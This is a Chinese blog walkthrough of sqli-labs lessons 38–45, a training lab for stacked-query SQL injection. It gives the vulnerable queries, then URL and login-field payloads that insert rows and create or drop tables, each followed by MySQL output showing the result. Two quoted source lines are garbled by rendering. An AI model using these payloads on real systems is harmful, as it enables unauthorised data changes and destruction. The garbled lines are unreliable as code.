1. 首页
  2. 文章中心
  3. web安全

Sqli-labs Less38-45 堆叠注入

75 阅读 0 评论
我是靠谱客的博主 善良歌曲，最近开发中收集的这篇文章主要介绍Sqli-labs Less38-45 堆叠注入，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

本文记录 SQL 注入的学习过程，资料为 SQLi

SQLi 博客目录

Less - 38: GET- Stacked Query Injection - String

  1. 源代码

     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  2. 测试

     http://10.10.10.137/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--

    在这里插入图片描述

     mysql> select * from users;
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       | 
 |  2 | Angelina | I-kill-you | 
 |  3 | Dummy    | p@ssword   | 
 |  4 | secure   | crappy     | 
 |  5 | stupid   | stupidity  | 
 |  6 | superman | genious    | 
 |  7 | batman   | mob!le     | 
 |  8 | admin    | admin      | 
 |  9 | admin1   | admin1     | 
 | 10 | admin2   | admin2     | 
 | 11 | admin3   | admin3     | 
 | 12 | dhakkan  | dumbo      | 
 | 14 | admin4   | admin4     | 
 | 38 | less38   | hello      | 
 +----+----------+------------+
 14 rows in set (0.00 sec)

    发现已经添加了一个 less38 用户

Less - 39: GET - Stacked Query Injection - Intiger based

  1. 源代码

    s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql="SELECT * FROM users WHERE id= sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";

  2. 测试

     http://10.10.10.137/sqli-labs/Less-39/?id=1;insert into users(id,username,password) values ('39','less39','hello')--+

    在这里插入图片描述

     mysql> select * from users;
 +----+----------+------------+
 | id | username | password   |
 +----+----------+------------+
 |  1 | Dumb     | Dumb       | 
 |  2 | Angelina | I-kill-you | 
 |  3 | Dummy    | p@ssword   | 
 |  4 | secure   | crappy     | 
 |  5 | stupid   | stupidity  | 
 |  6 | superman | genious    | 
 |  7 | batman   | mob!le     | 
 |  8 | admin    | admin      | 
 |  9 | admin1   | admin1     | 
 | 10 | admin2   | admin2     | 
 | 11 | admin3   | admin3     | 
 | 12 | dhakkan  | dumbo      | 
 | 14 | admin4   | admin4     | 
 | 38 | less38   | hello      | 
 | 39 | less39   | hello      | 
 +----+----------+------------+
 15 rows in set (0.00 sec)

    可以看到已经添加了 less39 用户了

Less - 40: GET - BLIND based - String - Stacked

  1. 源代码

     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

  2. 测试

     http://10.10.10.137/sqli-labs/Less-40/?id=1'); insert into users(id,username,password) values ('40','less40','hello')--+

    在这里插入图片描述

     mysql> select * from users;
 +-----+----------+------------+
 | id  | username | password   |
 +-----+----------+------------+
 |   1 | Dumb     | Dumb       | 
 |   2 | Angelina | I-kill-you | 
 |   3 | Dummy    | p@ssword   | 
 |   4 | secure   | crappy     | 
 |   5 | stupid   | stupidity  | 
 |   6 | superman | genious    | 
 |   7 | batman   | mob!le     | 
 |   8 | admin    | admin      | 
 |   9 | admin1   | admin1     | 
 |  10 | admin2   | admin2     | 
 |  11 | admin3   | admin3     | 
 |  12 | dhakkan  | dumbo      | 
 |  14 | admin4   | admin4     | 
 |  38 | less38   | hello      | 
 |  39 | less39   | hello      | 
 | 109 | hello    | hello      | 
 |  40 | less40   | hello      | 
 +-----+----------+------------+
 17 rows in set (0.00 sec)

    看到添加了 less40 用户

Less - 41: GET - BLIND based - Intiger - Stacked

  1. 源代码

     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

  2. 测试（盲注）

     http://10.10.10.137/sqli-labs/Less-41/?id=1; insert into users(id,username,password) values ('110','less41','hello')--+

    在这里插入图片描述

     mysql> select * from users;
 +-----+----------+------------+
 | id  | username | password   |
 +-----+----------+------------+
 |   1 | Dumb     | Dumb       | 
 |   2 | Angelina | I-kill-you | 
 |   3 | Dummy    | p@ssword   | 
 |   4 | secure   | crappy     | 
 |   5 | stupid   | stupidity  | 
 |   6 | superman | genious    | 
 |   7 | batman   | mob!le     | 
 |   8 | admin    | admin      | 
 |   9 | admin1   | admin1     | 
 |  10 | admin2   | admin2     | 
 |  11 | admin3   | admin3     | 
 |  12 | dhakkan  | dumbo      | 
 |  14 | admin4   | admin4     | 
 |  38 | less38   | hello      | 
 |  39 | less39   | hello      | 
 | 109 | hello    | hello      | 
 |  40 | less40   | hello      | 
 | 110 | less41   | hello      | 
 +-----+----------+------------+
 18 rows in set (0.00 sec)

    添加了用户 less41

Less - 43: POST - Error based - String - Stacked with twist

  1. 源代码

     $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST["login_password"];
 $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

  2. 测试

     username 输入 admin
 password 输入 c');create table less43 like users#

    测试登录之后

     mysql> show tables;
 +--------------------+
 | Tables_in_security |
 +--------------------+
 | emails             | 
 | less43             | 
 | referers           | 
 | uagents            | 
 | users              | 
 +--------------------+
 5 rows in set (0.00 sec)

 username 输入 admin
 password 输入 c');drop table less43#

    测试登录之后

     mysql> show tables;
 +--------------------+
 | Tables_in_security |
 +--------------------+
 | emails             | 
 | referers           | 
 | uagents            | 
 | users              | 
 +--------------------+
 4 rows in set (0.00 sec)

Less - 44: POST - Error based - String - Stacked -Blind

  1. 源代码

    u s e r n a m e = m y s q l i r e a l e s c a p e s t r i n g ( username = mysqli_real_escape_string( username=mysqlir​eale​scapes​tring(con1, $_POST[“login_user”]);
    $password = $_POST[“login_password”];
    s q l = " S E L E C T ∗ F R O M u s e r s W H E R E u s e r n a m e = ′ sql = "SELECT * FROM users WHERE username=' sql="SELECT∗FROMusersWHEREusername=′username’ and password=’$password’";

  2. 测试（盲注）

     username 输入 admin
 password 输入 a';insert into users(id,username,password) values ('144','less44','hello')#

    测试了登录后

     mysql> select * from users;
 +-----+----------+------------+
 | id  | username | password   |
 +-----+----------+------------+
 |   1 | Dumb     | Dumb       | 
 |   2 | Angelina | I-kill-you | 
 |   3 | Dummy    | p@ssword   | 
 |   4 | secure   | crappy     | 
 |   5 | stupid   | stupidity  | 
 |   6 | superman | genious    | 
 |   7 | batman   | mob!le     | 
 |   8 | admin    | admin      | 
 |   9 | admin1   | admin1     | 
 |  10 | admin2   | admin2     | 
 |  11 | admin3   | admin3     | 
 |  12 | dhakkan  | dumbo      | 
 |  14 | admin4   | admin4     | 
 |  38 | less38   | hello      | 
 |  39 | less39   | hello      | 
 | 109 | hello    | hello      | 
 |  40 | less40   | hello      | 
 | 110 | less41   | hello      | 
 | 144 | less44   | hello      | 
 +-----+----------+------------+
 19 rows in set (0.00 sec)

Less - 45: POST - Error based - String - Stacked - Blind

  1. 源代码

     $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST["login_password"];
 $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

  2. 测试

     username 输入 admin
 password 输入 c');create table less45 like users#

    登录测试之后

     mysql> show tables;
 +--------------------+
 | Tables_in_security |
 +--------------------+
 | emails             | 
 | less45             | 
 | referers           | 
 | uagents            | 
 | users              | 
 +--------------------+
 5 rows in set (0.00 sec)

    测试登录

     username 输入 admin
 password 输入 c');drop table less45#

    测试之后

     mysql> show tables;
 +--------------------+
 | Tables_in_security |
 +--------------------+
 | emails             | 
 | referers           | 
 | uagents            | 
 | users              | 
 +--------------------+
 4 rows in set (0.00 sec)

最后

以上就是善良歌曲为你收集整理的Sqli-labs Less38-45 堆叠注入的全部内容，希望文章能够帮你解决Sqli-labs Less38-45 堆叠注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
点赞(50)

相关文章

【SQL注入-07】堆叠注入案例—以sqli-labs-less38为例1 堆叠注入概述2 堆叠注入案例—以sqli-labs-less38为例3 总结参考文章
【SQL注入-07】堆叠注入案例—以sqli-labs-less38为例1 堆叠注入概述2 堆叠注入案例—以sqli-labs-less38为例3 总结参考文章
Sqli-labs 堆叠注入篇 (Less38~53) 前言Less-38   字符型堆叠注入Less-39  整数型堆叠注入Less-40  字符型堆叠盲注 Less-41  整数型堆叠盲注Less-42  字符型堆叠POST注入Less-43   字符型堆叠POST变形注入Less-44  字符型堆叠POST盲注Less-45  字符型堆叠POST变形盲注Less-46  Order By整数型显错注入Less-47  Order By字符型显错注入Less-48  Order By整数型盲
Sqli-labs 堆叠注入篇 (Less38~53) 前言Less-38   字符型堆叠注入Less-39  整数型堆叠注入Less-40  字符型堆叠盲注 Less-41  整数型堆叠盲注Less-42  字符型堆叠POST注入Less-43   字符型堆叠POST变形注入Less-44  字符型堆叠POST盲注Less-45  字符型堆叠POST变形盲注Less-46  Order By整数型显错注入Less-47  Order By字符型显错注入Less-48  Order By整数型盲
sqli-labs-less-38~53
sqli-labs-less-38~53
Less-38-41(堆叠注入)1. 堆叠注入原理2. 题目分析3. 注入过程4. Less39-41
Less-38-41(堆叠注入)1. 堆叠注入原理2. 题目分析3. 注入过程4. Less39-41
Sqli-labs Less38-45 堆叠注入
Sqli-labs Less38-45 堆叠注入
SQL注入 Less38(堆叠注入)
SQL注入 Less38(堆叠注入)
Sqli-labs之Less：38-41                                             Less-38PHP mysqli_multi_query() 函数                                                         Less-39                                                 Less-40                               
Sqli-labs之Less：38-41                                             Less-38PHP mysqli_multi_query() 函数                                                         Less-39                                                 Less-40                               
Sqli-labs 复习 Less38-45 堆叠注入堆叠注入
Sqli-labs 复习 Less38-45 堆叠注入堆叠注入

评论列表共有 0 条评论

立即
投稿
返回
顶部